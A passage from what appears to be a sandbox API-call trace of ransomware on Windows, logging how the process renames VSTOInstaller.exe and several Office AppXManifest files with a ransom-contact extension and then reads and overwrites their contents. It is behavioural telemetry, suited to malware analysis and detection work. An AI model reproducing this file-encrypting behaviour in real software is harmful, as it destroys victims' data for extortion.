lpMem=0x6b13b8 | out: hHeap=0x630000) returned 1 [0115.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0115.530] CloseHandle (hObject=0x6d8) returned 1 [0115.530] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.530] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0115.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0115.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VSTOIN~1.FIR")) returned 0x6d53c0 [0115.531] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0115.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0115.531] GetProcessHeap () returned 0x630000 [0115.531] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0115.532] GetProcessHeap () returned 0x630000 [0115.532] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fc0048 [0115.533] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.533] ReadFile (in: hFile=0x6d8, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0119.470] GetProcessHeap () returned 0x630000 [0119.470] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0119.470] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.470] WriteFile (in: hFile=0x6d8, lpBuffer=0x6fc0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc0048*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0119.471] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.471] WriteFile (in: hFile=0x6d8, lpBuffer=0x6fcb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcb447*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.471] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.471] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0119.471] CloseHandle (hObject=0x6d8) returned 1 [0119.473] GetProcessHeap () returned 0x630000 [0119.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc0048 | out: hHeap=0x630000) returned 1 [0119.474] GetProcessHeap () returned 0x630000 [0119.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0119.478] GetProcessHeap () returned 0x630000 [0119.478] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0123.300] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd290ff5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x188ac, dwReserved0=0xbfc7496, dwReserved1=0x6ec0040, cFileName="VSTOInstaller.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VSTOIN~1.FIR")) returned 0x6d5200 [0123.301] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.301] Sleep (dwMilliseconds=0x1) [0123.346] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 1 [0123.347] GetProcessHeap () returned 0x630000 [0123.347] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x174) returned 0x66a3e0 [0123.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0123.361] CloseHandle (hObject=0x6a8) returned 1 [0123.362] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.381] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.381] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP83E9~1.FIR")) returned 0x6d5540 [0123.382] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0123.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0123.382] GetProcessHeap () returned 0x630000 [0123.382] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x881) returned 0x695ed0 [0123.382] GetProcessHeap () returned 0x630000 [0123.382] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x881) returned 0x7083008 [0123.382] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.382] ReadFile (in: hFile=0x6d4, lpBuffer=0x695ed0, nNumberOfBytesToRead=0x860, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x4d3ff0c*=0x860, lpOverlapped=0x0) returned 1 [0123.476] GetProcessHeap () returned 0x630000 [0123.476] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0123.476] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.476] WriteFile (in: hFile=0x6d4, lpBuffer=0x7083008*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7083008*, lpNumberOfBytesWritten=0x4d3ff0c*=0x860, lpOverlapped=0x0) returned 1 [0123.476] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.476] WriteFile (in: hFile=0x6d4, lpBuffer=0x7083867*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7083867*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.476] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.476] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.476] CloseHandle (hObject=0x6d4) returned 1 [0123.798] GetProcessHeap () returned 0x630000 [0123.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7083008 | out: hHeap=0x630000) returned 1 [0123.798] GetProcessHeap () returned 0x630000 [0123.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0123.798] GetProcessHeap () returned 0x630000 [0123.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0123.801] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8c6272, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x887, dwReserved0=0xbfc7496, dwReserved1=0x695ec8, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP83E9~1.FIR")) returned 0x6d5200 [0123.841] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.841] Sleep (dwMilliseconds=0x1) [0123.864] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 1 [0123.864] GetProcessHeap () returned 0x630000 [0123.864] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x158) returned 0x66a3e0 [0123.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0124.060] CloseHandle (hObject=0x4e8) returned 1 [0124.061] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.098] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.099] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APAAA3~1.FIR")) returned 0x6d5200 [0124.099] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0124.099] GetProcessHeap () returned 0x630000 [0124.099] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x697da8 [0124.099] GetProcessHeap () returned 0x630000 [0124.099] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6672f8 [0124.099] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.099] ReadFile (in: hFile=0x4e8, lpBuffer=0x697da8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x4d3ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0124.113] GetProcessHeap () returned 0x630000 [0124.113] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0124.113] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.113] WriteFile (in: hFile=0x4e8, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0124.113] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.113] WriteFile (in: hFile=0x4e8, lpBuffer=0x6677d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6677d7*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.113] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.113] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.113] CloseHandle (hObject=0x4e8) returned 1 [0124.114] GetProcessHeap () returned 0x630000 [0124.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0124.114] GetProcessHeap () returned 0x630000 [0124.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0124.114] GetProcessHeap () returned 0x630000 [0124.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0124.162] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.162] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfee2256, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0xbfc7496, dwReserved1=0x697da0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APAAA3~1.FIR")) returned 0x6d4f80 [0124.162] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0124.162] Sleep (dwMilliseconds=0x1) [0124.179] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 1 [0124.179] GetProcessHeap () returned 0x630000 [0124.179] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x144) returned 0x66a3e0 [0124.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0124.180] CloseHandle (hObject=0x67c) returned 1 [0124.180] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.181] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP038C~1.FIR")) returned 0x6d5340 [0124.181] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0124.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0124.181] GetProcessHeap () returned 0x630000 [0124.181] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0124.182] GetProcessHeap () returned 0x630000 [0124.182] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71cb478 [0124.182] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.182] ReadFile (in: hFile=0x67c, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0127.593] GetProcessHeap () returned 0x630000 [0127.594] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0127.594] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.594] WriteFile (in: hFile=0x67c, lpBuffer=0x71cb478*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71cb478*, lpNumberOfBytesWritten=0x4d3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.326] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.326] WriteFile (in: hFile=0x67c, lpBuffer=0x71d6877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d6877*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.378] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.378] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, 